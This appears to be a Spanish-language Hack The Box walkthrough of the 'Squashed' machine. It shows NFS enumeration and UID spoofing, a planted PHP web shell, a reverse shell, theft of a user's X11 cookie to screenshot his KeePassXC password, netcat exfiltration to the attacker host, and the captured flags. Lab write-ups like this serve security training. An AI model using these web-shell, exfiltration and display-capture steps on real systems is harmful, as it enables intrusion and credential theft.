Squashed - Hack The Box
❯ ping -c 1 10.10.11.191
PING 10.10.11.191 (10.10.11.191) 56(84) bytes of data.
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=118 ms
--- 10.10.11.191 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 117.652/117.652/117.652/0.000 ms
❯ whichSystem.py 10.10.11.191
10.10.11.191 (ttl -> 63): Linux
PortScan
❯ nmap -sCV -p22,80,111,58191,2049,36547,52911 10.10.11.191 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 18:22 CST
Nmap scan report for 10.10.11.191
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 36179/tcp6 mountd
| 100005 1,2,3 45358/udp mountd
| 100005 1,2,3 55033/udp6 mountd
| 100005 1,2,3 58191/tcp mountd
| 100021 1,3,4 32819/udp6 nlockmgr
| 100021 1,3,4 37109/tcp nlockmgr
| 100021 1,3,4 37329/udp nlockmgr
| 100021 1,3,4 41835/tcp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
36547/tcp closed unknown
52911/tcp closed unknown
58191/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
❯ nmap --script=http-enum -p80 10.10.11.191 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 18:27 CST
Nmap scan report for 10.10.11.191
Host is up (0.11s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|_ /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
Enumeracion
Estas son las tecnologias que corren en la web por el puerto 80
❯ whatweb http://10.10.11.191
http://10.10.11.191 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.191], JQuery[3.0.0], Script, Title[Built Better], X-UA-Compatible[IE=edge]
Esta es la pagina web
Bueno no encontramos gran cosa asi que vamos a enumerar el puerto que vimos el 2049/tcp
Bueno en la pagina de hacktricks
nos dan informacion sobre el servicio
https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting
Vamos a ver si hay recursos compartidos en la maquina que nos podamos montar en nuestro equipo
❯ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
Vamos a hacer una montura
❯ mkdir /mnt/ross
❯ mkdir /mnt/web_server
❯ mount -t nfs 10.10.11.191:/home/ross /mnt/ross
❯ mount -t nfs 10.10.11.191:/var/www/html /mnt/web_server
Vemos que este correcto
❯ ll
drwxr-xr-x 1001 scanner 4.0 KB Sun Apr 16 17:10:44 2023 ross
drwxr-xr-- 2017 www-data 4.0 KB Sun Apr 16 18:40:01 2023 web_server
Vemos esto
❯ tree -fas
.
├── [ 4096] ./ross
│ ├── [ 9] ./ross/.bash_history -> /dev/null
│ ├── [ 4096] ./ross/.cache [error opening dir]
│ ├── [ 4096] ./ross/.config [error opening dir]
│ ├── [ 4096] ./ross/Desktop
│ ├── [ 4096] ./ross/Documents
│ │ └── [ 1365] ./ross/Documents/Passwords.kdbx
│ ├── [ 4096] ./ross/Downloads
│ ├── [ 4096] ./ross/.gnupg [error opening dir]
│ ├── [ 4096] ./ross/.local [error opening dir]
│ ├── [ 4096] ./ross/Music
│ ├── [ 4096] ./ross/Pictures
│ ├── [ 4096] ./ross/Public
│ ├── [ 4096] ./ross/Templates
│ ├── [ 4096] ./ross/Videos
│ ├── [ 9] ./ross/.viminfo -> /dev/null
│ ├── [ 57] ./ross/.Xauthority
│ ├── [ 2475] ./ross/.xsession-errors
│ └── [ 2475] ./ross/.xsession-errors.old
└── [ 4096] ./web_server
14 directories, 6 files
No podemos ver lo que hay dentro de web_server
por que no es nuestro identificador y el usuairo www-data
no existe en nuestro sistema
❯ cd web_server
cd: permiso denegado: web_server
❯ ls -l
drwxr-xr-x 1001 scanner 4.0 KB Sun Apr 16 17:10:44 2023 ross
drwxr-xr-- 2017 www-data 4.0 KB Sun Apr 16 18:45:01 2023 web_server
Vamos a crear un nuevo usuario con ese identificador que es el 2017
❯ useradd temp
❯ usermod -u 2017 temp
❯ groupmod -g 2017 temp
❯ id temp
uid=2017(temp) gid=2017(temp) grupos=2017(temp)
Ahora nosotros somos el propietario
❯ ls -l
drwxr-xr-x 1001 scanner 4.0 KB Sun Apr 16 17:10:44 2023 ross
drwxr-xr-- temp www-data 4.0 KB Sun Apr 16 18:50:01 2023 web_server
Ahora si podemos ver que hay dentro
❯ su temp
$ bash
┌─[temp@parrot]─[/mnt]
└──╼ $cd web_server/
┌─[temp@parrot]─[/mnt/web_server]
└──╼ $ls
css images index.html js
┌─[temp@parrot]─[/mnt/web_server]
└──╼ $
Vemos que hay un index.html
que es la pagina web en la pagina web de la maquina vimos que decia FURTNITURE
si buscamos un match
vemos que hay asi que esto esta sincronizado con la pagina web real que esta corriendo en el puerto 80
┌─[temp@parrot]─[/mnt/web_server]
└──╼ $cat index.html | grep "FURNITURE"
<h1 class="furniture_text">FURNITURE</h1>
<h1 class="furniture_text">FURNITURE</h1>
<h1 class="furniture_text">FURNITURE</h1>
Como la web
corre php
podemos subir un archivo cmd.php
para ganar accesso ala maquina pero antes vamos a crear un .txt
para ver si podemos verlo en la web (aunque aparesca ese error en el nano
si no lo crea XD)
┌─[temp@parrot]─[/mnt/web_server]
└──╼ $nano hola.txt
No se puede crear el directorio «/home/temp/.local/share/nano/»: No existe el fichero o el directorio
Se necesita para guardar/cargar el histórico de búsquedas o las posiciones del cursor.
┌─[temp@parrot]─[/mnt/web_server]
└──╼ $ls
css hola.txt images index.html js
┌─[temp@parrot]─[/mnt/web_server]
└──╼ $cat hola.txt
soy vulnerable
┌─[temp@parrot]─[/mnt/web_server]
└──╼ $
Aqui lo vemos reflejado
Ahora si vamos a crear el cmd.php
┌─[temp@parrot]─[/mnt/web_server]
└──╼ $cat cmd.php
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
Ahora vamos a ganar accesso
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.191] 52500
bash: cannot set terminal process group (1084): Inappropriate ioctl for device
bash: no job control in this shell
alex@squashed:/var/www/html$ whoami
whoami
alex
alex@squashed:/var/www/html$ id
id
uid=2017(alex) gid=2017(alex) groups=2017(alex)
alex@squashed:/var/www/html$
Ahora vamos a hacer un tratamiento de la tty
para poder hacer ctrl+c
y no perdamos la shell
alex@squashed:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
alex@squashed:/var/www/html$
alex@squashed:/var/www/html$ ^Z
zsh: suspended nc -nlvp 443
Despues de reset xterm
le das al ENTER
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
Shell como alex
Nos borro el cmd.php
asi que hay alguna tarea cron
que se encarga de eliminarlo asi que mejor sean rapidos o vuelvan a crearlo en caso de que cuando lo pongan en la web les de un 404
alex@squashed:/var/www/html$ ls -l
total 44
drwxr-xr-x 2 alex www-data 4096 Apr 17 01:05 css
drwxr-xr-x 2 alex www-data 4096 Apr 17 01:05 images
-rw-r----- 1 alex www-data 32532 Apr 17 01:05 index.html
drwxr-xr-x 2 alex www-data 4096 Apr 17 01:05 js
alex@squashed:/var/www/html$
Vamos a decirle nuestro directorio
alex@squashed:/var/www/html$ cd
bash: cd: HOME not set
alex@squashed:/var/www/html$ export HOME=/home/alex
alex@squashed:/var/www/html$ cd
alex@squashed:~$
User.txt
alex@squashed:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos snap user.txt
alex@squashed:~$ cat user.txt
2411b3f425b652998e5bb0f6990d0059
alex@squashed:~$
Escalada de privilegios
Bueno si recordamos en la montura que nos creamos vimos que el usuario ross
tenia un archivo .Xauthority
y bueno si podemos ver ese archivo puedes asta ver asta la pantalla del usuario si esta logueado
es peligroso tener ese archivo expuesto
$ ls -la
total 64
drwxr-xr-x 14 1001 scanner 4096 abr 16 17:10 .
drwxr-xr-x 1 root root 28 abr 16 18:40 ..
lrwxrwxrwx 1 root root 9 oct 20 08:24 .bash_history -> /dev/null
drwx------ 11 1001 scanner 4096 oct 21 09:57 .cache
drwx------ 12 1001 scanner 4096 oct 21 09:57 .config
drwxr-xr-x 2 1001 scanner 4096 oct 21 09:57 Desktop
drwxr-xr-x 2 1001 scanner 4096 oct 21 09:57 Documents
drwxr-xr-x 2 1001 scanner 4096 oct 21 09:57 Downloads
drwx------ 3 1001 scanner 4096 oct 21 09:57 .gnupg
drwx------ 3 1001 scanner 4096 oct 21 09:57 .local
drwxr-xr-x 2 1001 scanner 4096 oct 21 09:57 Music
drwxr-xr-x 2 1001 scanner 4096 oct 21 09:57 Pictures
drwxr-xr-x 2 1001 scanner 4096 oct 21 09:57 Public
drwxr-xr-x 2 1001 scanner 4096 oct 21 09:57 Templates
drwxr-xr-x 2 1001 scanner 4096 oct 21 09:57 Videos
lrwxrwxrwx 1 root root 9 oct 21 08:07 .viminfo -> /dev/null
-rw------- 1 1001 scanner 57 abr 16 17:10 .Xauthority
-rw------- 1 1001 scanner 2475 abr 16 17:10 .xsession-errors
-rw------- 1 1001 scanner 2475 dic 27 09:33 .xsession-errors.old
$
Ross
esta activo
alex@squashed:~$ w
01:15:01 up 2:04, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 23:10 2:04m 17.78s 0.04s /usr/libexec/gnome-session-binary --systemd --session=gnome
alex@squashed:~$
Aqui vemos mas informacion
https://book.hacktricks.xyz/network-services-pentesting/6000-pentesting-x11
Ahora vamos a crear otro usuario con ese identificador
❯ ls -la .Xauthority
.rw------- 1001 scanner 57 B Sun Apr 16 17:10:44 2023 .Xauthority
❯ useradd temp2
❯ usermod -u 1001 temp2
❯ su temp2
$ bash
┌─[temp2@parrot]─[/mnt/ross]
└──╼ $
Ahora somos el propietario
┌─[temp2@parrot]─[/mnt/ross]
└──╼ $ls -l .Xauthority
-rw------- 1 temp2 scanner 57 abr 16 17:10 .Xauthority
┌─[temp2@parrot]─[/mnt/ross]
└──╼ $
No es muy legible
┌─[✗]─[temp2@parrot]─[/mnt/ross]
└──╼ $xxd .Xauthority
00000000: 0100 000c 7371 7561 7368 6564 2e68 7462 ....squashed.htb
00000010: 0001 3000 124d 4954 2d4d 4147 4943 2d43 ..0..MIT-MAGIC-C
00000020: 4f4f 4b49 452d 3100 10d2 7847 694b b828 OOKIE-1...xGiK.(
00000030: 19b9 70b2 586a 307b 66 ..p.Xj0{f
┌─[temp2@parrot]─[/mnt/ross]
└──╼ $
Vamos a seguir los pasos que encontramos en hacktriks
Vamos a pasarnos primero el .Xauthority
a la maquina victima para que tengan el mismo
┌─[temp2@parrot]─[/mnt/ross]
└──╼ $python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
alex@squashed:~$ wget http://10.10.14.8:8080/.Xauthority
--2023-04-17 01:51:37-- http://10.10.14.8:8080/.Xauthority
Connecting to 10.10.14.8:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 57 [application/octet-stream]
Saving to: '.Xauthority'
.Xauthority 100%[===================>] 57 --.-KB/s in 0.1s
2023-04-17 01:51:37 (449 B/s) - '.Xauthority' saved [57/57]
Ahora si verificamos la conexion nos va a mostrar un output
muy grande pero no lo voy a poner por que es muy grande (eso dijo ella)
alex@squashed:~$ xdpyinfo -display :0
Vemos algo de keePassXC
alex@squashed:~$ xwininfo -root -tree -display :0
xwininfo: Window id: 0x533 (the root window) (has no name)
Root window id: 0x533 (the root window) (has no name)
Parent window id: 0x0 (none)
26 children:
0x80000b "gnome-shell": ("gnome-shell" "Gnome-shell") 1x1+-200+-200 +-200+-200
1 child:
0x80000c (has no name): () 1x1+-1+-1 +-201+-201
0x800021 (has no name): () 802x575+-1+26 +-1+26
1 child:
0x1e00006 "Passwords - KeePassXC": ("keepassxc" "keepassxc") 800x536+1+38 +0+64
1 child:
0x1e000fe "Qt NET_WM User Time Window": () 1x1+-1+-1 +-1+63
0x1e00008 "Qt Client Leader Window": () 1x1+0+0 +0+0
0x2000001 "keepassxc": ("keepassxc" "Keepassxc") 10x10+10+10 +10+10
0x800017 (has no name): () 1x1+-1+-1 +-1+-1
0x1e00004 "Qt Selection Owner for keepassxc": () 3x3+0+0 +0+0
0x1c00001 "gsd-keyboard": ("gsd-keyboard" "Gsd-keyboard") 10x10+10+10 +10+10
0x1a00001 "evolution-alarm-notify": ("evolution-alarm-notify" "Evolution-alarm-notify") 10x10+10+10 +10+10
0x1800002 (has no name): () 10x10+0+0 +0+0
0x1600001 "gsd-wacom": ("gsd-wacom" "Gsd-wacom") 10x10+10+10 +10+10
0x1800001 "gsd-xsettings": ("gsd-xsettings" "Gsd-xsettings") 10x10+10+10 +10+10
0x1400001 "gsd-media-keys": ("gsd-media-keys" "Gsd-media-keys") 10x10+10+10 +10+10
0x1200001 "gsd-color": ("gsd-color" "Gsd-color") 10x10+10+10 +10+10
0x1000001 "gsd-power": ("gsd-power" "Gsd-power") 10x10+10+10 +10+10
0xc00001 "ibus-extension-gtk3": ("ibus-extension-gtk3" "Ibus-extension-gtk3") 10x10+10+10 +10+10
0xa00003 "ibus-xim": () 1x1+0+0 +0+0
1 child:
0xa00004 (has no name): () 1x1+-1+-1 +-1+-1
0xa00001 "ibus-x11": ("ibus-x11" "Ibus-x11") 10x10+10+10 +10+10
0x800011 (has no name): () 1x1+-100+-100 +-100+-100
0x80000f (has no name): () 1x1+-1+-1 +-1+-1
0x800009 (has no name): () 1x1+-100+-100 +-100+-100
0x800008 (has no name): () 1x1+-100+-100 +-100+-100
0x800007 (has no name): () 1x1+-100+-100 +-100+-100
0x800006 "GNOME Shell": () 1x1+-100+-100 +-100+-100
0x800001 "gnome-shell": ("gnome-shell" "Gnome-shell") 10x10+10+10 +10+10
0x600008 (has no name): () 1x1+-100+-100 +-100+-100
0x800010 "mutter guard window": () 800x600+0+0 +0+0
alex@squashed:~$
En /mnt
vimos esto Passwords.kdbx
❯ find .
.
./ross
./ross/Music
./ross/Pictures
./ross/.xsession-errors.old
./ross/.cache
find: ‘./ross/.cache’: Permiso denegado
./ross/Public
./ross/Documents
./ross/Documents/Passwords.kdbx
Y vemos el archivo
❯ cd ross/Documents
❯ ls
Passwords.kdbx
Vamos a ver si tiene contraseñas
❯ keepassxc Passwords.kdbx
Y si tiene
Vamos a usar keepass2john
para ver si la contraseña esta en el rockyou
pero la version no esta soportada F
❯ keepass2john Passwords.kdbx
! Passwords.kdbx : File version '40000' is currently not supported!
Si vamos a hacktricks
podemos sacar una captura de pantalla por que cuando checamos la conexion vimos algo del keypass
tal vez el usuario tiene abierto eso y podemos sacar la captura de pantalla para ver la contraseña
alex@squashed:/tmp$ xwd -root -screen -silent -display :0 > screenshot.xwd
alex@squashed:/tmp$ file screenshot.xwd
screenshot.xwd: XWD X Window Dump image data, "xwdump", 800x600x24
alex@squashed:/tmp$
Vamos a traernolo a nuestra maquina de atacante
❯ nc -nlvp 443 > screenshot.xwd
listening on [any] 443 ...
alex@squashed:/tmp$ nc 10.10.14.8 443 < screenshot.xwd
Y lo recibimos
❯ nc -nlvp 443 > screenshot.xwd
listening on [any] 443 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.191] 34718
Ahora tenemos que convertirlo a .png
❯ convert screenshot.xwd screenshot.png
❯ file screenshot.png
screenshot.png: PNG image data, 800 x 600, 8-bit/color RGB, non-interlaced
Aqui vemos la captura de pantalla
Root flag
alex@squashed:/tmp$ su root
Password:
root@squashed:/tmp# whoami
root
root@squashed:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@squashed:/tmp# cd /root
root@squashed:~# ls
Desktop Documents Downloads Music Pictures Public root.txt scripts snap Templates Videos
root@squashed:~# cat root.txt
b51b91e8c62ad3b8d90b75c414b7d143
root@squashed:~#